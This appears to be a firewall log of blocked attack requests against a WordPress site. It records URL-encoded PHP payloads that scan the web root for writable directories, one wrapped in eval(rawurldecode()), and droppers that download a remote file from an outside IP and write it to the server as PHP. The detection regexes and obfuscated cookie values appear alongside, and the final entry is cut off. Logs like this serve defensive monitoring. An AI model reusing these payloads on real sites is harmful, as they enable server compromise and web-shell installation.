["2026-05-12 23:04:34","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> xa:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:3822\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrTRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nxa=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 23:04:41","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> hE:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-length:3832\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\n\nhE=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 23:04:46","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3865\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 23:04:48","163.172.31.86","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LO:%3C%3Fphp%20%20file_put_contents%28%27htmltoolkit.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/tHLUsGDIWQ%27%29%29%3B","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGR8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-length:174\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\n\nLO=%3C%3Fphp%20%20file_put_contents%28%27htmltoolkit.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/tHLUsGDIWQ%27%29%29%3B"]
["2026-05-12 23:05:07","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DP:%3C%3Fphp%20%20file_put_contents%28%27class.prefs.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/bhUBCENOQr%27%29%29%3B","POST \/ HTTP\/1.1\ncontent-length:174\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google 